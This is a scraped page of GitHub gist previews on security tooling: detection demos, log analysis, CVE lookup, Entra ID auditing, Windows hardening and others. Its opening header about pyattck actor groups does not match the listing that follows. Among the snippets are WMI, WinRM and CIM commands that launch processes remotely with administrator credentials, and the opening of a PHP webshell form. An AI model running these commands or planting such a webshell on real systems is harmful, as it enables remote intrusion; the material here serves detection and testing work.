Overview

The following content is generated using a preview release of Swimlane's pyattck.

This snippet of data is scoped to the following actor groups:

IanColdwater / twittermute.txt

Last active December 6, 2025 11:37

Here are some terms to mute on Twitter to clean your timeline up a bit.

	Mute these words in your settings here: https://twitter.com/settings/muted_keywords

	ActivityTweet
	generic_activity_highlights
	generic_activity_momentsbreaking
	RankedOrganicTweet
	suggest_activity
	suggest_activity_feed
	suggest_activity_highlights
	suggest_activity_tweet

mattifestation / HowToDetectTechniqueX_Demos.ps1

Created September 6, 2019 22:03

Demo code from my DerbyCon talk: "How do I detect technique X in Windows?" Applied Methodology to Definitively Answer this Question

	#region Attack validations
	wmic /node:169.254.37.139 /user:Administrator /password:badpassword process call create notepad.exe

	Invoke-WmiMethod -ComputerName 169.254.37.139 -Credential Administrator -Class Win32_Process -Name Create -ArgumentList notepad.exe

	$CimSession = New-CimSession -ComputerName 169.254.37.139 -Credential Administrator
	Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = 'notepad.exe' }
	$CimSession \| Remove-CimSession

	winrm --% invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -remote:169.254.37.139 -username:Administrator -password:badpassword

vysecurity / attack-to-csv.py

Last active April 28, 2022 21:44

Get MITRE ATT&CK Framework Techniques by Group in CSV

	from stix2 import FileSystemSource
	from stix2 import Filter
	from stix2.utils import get_type_from_id

	fs = FileSystemSource('./enterprise-attack')

	def get_group_by_alias(src):
	return src.query([
	Filter('type', '=', 'intrusion-set'),
	])

joswr1ght / evtxResourceIDGaps.py

Last active September 24, 2024 03:31

Read dump_evtx XML output, identify EventRecordID gaps possibly indicating deleted logging records

	from xml.etree import ElementTree
	import sys

	first=True
	eventrecordid=None
	lasttime=None
	latesttime=None

	if (len(sys.argv) != 2):
	print("Read from the dump_evtx XML output, identifying gaps in EventRecordID values")

netspooky / pubsploit.py

Last active November 5, 2020 22:28

	import urllib.request, json, sys, textwrap
	# Run like
	# python3 pubsploit.py CVE-2017-0143

	def cveSearch(cve):
	with urllib.request.urlopen('http://cve.circl.lu/api/cve/'+cve) as url:
	data = json.loads(url.read().decode())
	try:
	if data['cvss']:
	print("{} \| CVSS {}".format(cve,data['cvss']))

jhaddix / all.txt

Created January 19, 2019 04:35 — forked from orangetw/all.txt

all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/

This file has been truncated, but you can view the full file.

psignoret / Get-AzureADPSPermissions.ps1

Last active November 13, 2025 18:01

Script to list all delegated permissions and application permissions in Microsoft Entra ID

	# THIS CODE IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY IMPLIED WARRANTIES OF
	# FITNESS FOR A PARTICULAR PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.

	#Requires -Modules @{ ModuleName="Microsoft.Graph.Authentication" ; ModuleVersion="2.15.0" }
	#Requires -Modules @{ ModuleName="Microsoft.Graph.DirectoryObjects"; ModuleVersion="2.15.0" }
	#Requires -Modules @{ ModuleName="Microsoft.Graph.Identity.SignIns"; ModuleVersion="2.15.0" }
	#Requires -Modules @{ ModuleName="Microsoft.Graph.Applications" ; ModuleVersion="2.15.0" }
	#Requires -Modules @{ ModuleName="Microsoft.Graph.Users" ; ModuleVersion="2.15.0" }

	<#

joswr1ght / easy-simple-php-webshell.php

Last active January 24, 2026 19:58

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{

mackwage / windows_hardening.cmd

Last active December 18, 2025 15:32

Script to perform some hardening of Windows OS

	:: Windows 10 Hardening Script
	:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering.
	:: Obligatory 'views are my own'. :)
	:: Thank you @jaredhaight for the Win Firewall config recommendations!
	:: Thank you @ricardojba for the DLL Safe Order Search reg key!
	:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
	:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
	:

maravedi